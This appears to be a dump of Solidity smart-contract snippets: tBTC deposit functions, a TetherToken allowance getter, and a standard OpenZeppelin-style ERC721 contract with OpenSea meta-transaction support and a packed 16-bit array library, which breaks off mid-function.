`TBTCSystem` contract. More info in `TBTCSystem`. /// @param _tbtcToken `TBTCToken` contract. More info in TBTCToken`. /// @param _tbtcDepositToken `TBTCDepositToken` (TDT) contract. More info in /// `TBTCDepositToken`. /// @param _feeRebateToken `FeeRebateToken` (FRT) contract. More info in /// `FeeRebateToken`. /// @param _vendingMachineAddress `VendingMachine` address. More info in /// `VendingMachine`. /// @param _lotSizeSatoshis The minimum amount of satoshi the funder is /// required to send. This is also the amount of /// TBTC the TDT holder will be eligible to mint: /// (10**7 satoshi == 0.1 BTC == 0.1 TBTC). function initializeDeposit( ITBTCSystem _tbtcSystem, TBTCToken _tbtcToken, IERC721 _tbtcDepositToken, FeeRebateToken _feeRebateToken, address _vendingMachineAddress, uint64 _lotSizeSatoshis ) public onlyFactory payable { self.tbtcSystem = _tbtcSystem; self.tbtcToken = _tbtcToken; self.tbtcDepositToken = _tbtcDepositToken; self.feeRebateToken = _feeRebateToken; self.vendingMachineAddress = _vendingMachineAddress; self.initialize(_lotSizeSatoshis); } /// @notice This function can only be called by the vending machine. /// @dev Performs the same action as requestRedemption, but transfers /// ownership of the deposit to the specified _finalRecipient. Used as /// a utility helper for the vending machine's shortcut /// TBTC->redemption path. /// @param _outputValueBytes The 8-byte little-endian output size. /// @param _redeemerOutputScript The redeemer's length-prefixed output script. /// @param _finalRecipient The address to receive the TDT and later be recorded as deposit redeemer. function transferAndRequestRedemption( bytes8 _outputValueBytes, bytes memory _redeemerOutputScript, address payable _finalRecipient ) public { // not external to allow bytes memory parameters require( msg.sender == self.vendingMachineAddress, "Only the vending machine can call transferAndRequestRedemption" ); self.transferAndRequestRedemption( _outputValueBytes, _redeemerOutputScript, _finalRecipient ); } /// @notice Withdraw the ETH balance of the deposit allotted to the caller. /// @dev Withdrawals can only happen when a contract is in an end-state. function withdrawFunds() external { self.withdrawFunds(); } }
Get the contract address of the BondedECDSAKeep associated with this Deposit. The keep contract address is saved on Deposit initialization. return Address of the Keep contract.
function keepAddress() external view returns (address) { return self.keepAddress; }
1,004,484
./partial_match/1/0x746345bb9149930a3A9920F0035ad7D553B4FD15/sources/TetherToken.sol
Allows `_spender` to spend no more than `_value` tokens in msg.sender behalf _owner The address of the account owning tokens _spender The address of the account able to transfer the tokens return Amount of remaining tokens allowed to spent/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowances[_owner][_spender]; }
2,794,192
pragma solidity ^0.8.7; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns ( bytes4 retval ) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string public constant ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes("EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)") ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712(string memory name) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)); } } contract NativeMetaTransaction is EIP712Base { bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(bytes("MetaTransaction(uint256 nonce,address from,bytes functionSignature)")); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require(verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match"); // increase nonce for user (to avoid re-use) nonces[userAddress] += 1; emit MetaTransactionExecuted(userAddress, payable(msg.sender), functionSignature); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover(toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS); } } abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff) } } else { sender = payable(msg.sender); } return sender; } } contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } abstract contract ERC721Tradable is ContextMixin, Ownable, ERC721, NativeMetaTransaction { address public proxyRegistryAddress; uint256 private _currentTokenId = 0; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) Ownable() { proxyRegistryAddress = _proxyRegistryAddress; _initializeEIP712(_name); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if ( proxyRegistryAddress != address(0) && address(proxyRegistry.proxies(owner)) == operator ) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal view override returns (address sender) { return ContextMixin.msgSender(); } } abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } library Packed16BitArray { using Packed16BitArray for Packed16BitArray.PackedArray; struct PackedArray { uint256[] array; uint256 length; } // Verifies that the higher level count is correct, and that the last uint256 is left packed with 0's function initStruct(uint256[] memory _arr, uint256 _len) internal pure returns (PackedArray memory) { uint256 actualLength = _arr.length; uint256 len0 = _len / 16; require(actualLength == len0 + 1, "Invalid arr length"); uint256 len1 = _len % 16; uint256 leftPacked = uint256(_arr[len0] >> (len1 * 16)); require(leftPacked == 0, "Invalid uint256 packing"); return PackedArray(_arr, _len); } function getValue(PackedArray storage ref, uint256 _index) internal view returns (uint16) { require(_index < ref.length, "Invalid index"); uint256 aid = _index / 16; uint256 iid = _index % 16; return uint16(ref.array[aid] >> (iid * 16)); } function biDirectionalSearch( PackedArray storage ref, uint256 _startIndex, uint16 _delta ) internal view returns (uint16[2] memory hits) { uint16 startVal = ref.getValue(_startIndex); // Search down if (startVal >= _delta && _startIndex > 0) { uint16 tempVal = startVal; uint256 tempIdx = _startIndex - 1; uint16 target = startVal - _delta; while (tempVal >= target) { tempVal = ref.getValue(tempIdx); if (tempVal == target) { hits[0] = tempVal; break; } if (tempIdx == 0) { break; } else { tempIdx--; } } } { // Search up uint16 tempVal = startVal; uint256 tempIdx = _startIndex + 1; uint16 target = startVal + _delta; while (tempVal <= target) { if (tempIdx >= ref.length) break; tempVal = ref.getValue(tempIdx++); if (tempVal == target) { hits[1] = tempVal; break; } } } } function setValue( PackedArray storage ref, uint256 _index, uint16 _value ) internal { uint256 aid = _index / 16; uint256 iid = _index % 16; // 1. Do an && between old value and a mask uint256 mask = uint256(~(uint256(65535) << (iid * 16))); uint256 masked = ref.array[aid] & mask; // 2. Do an |= between (1) and positioned _value mask = uint256(_value) 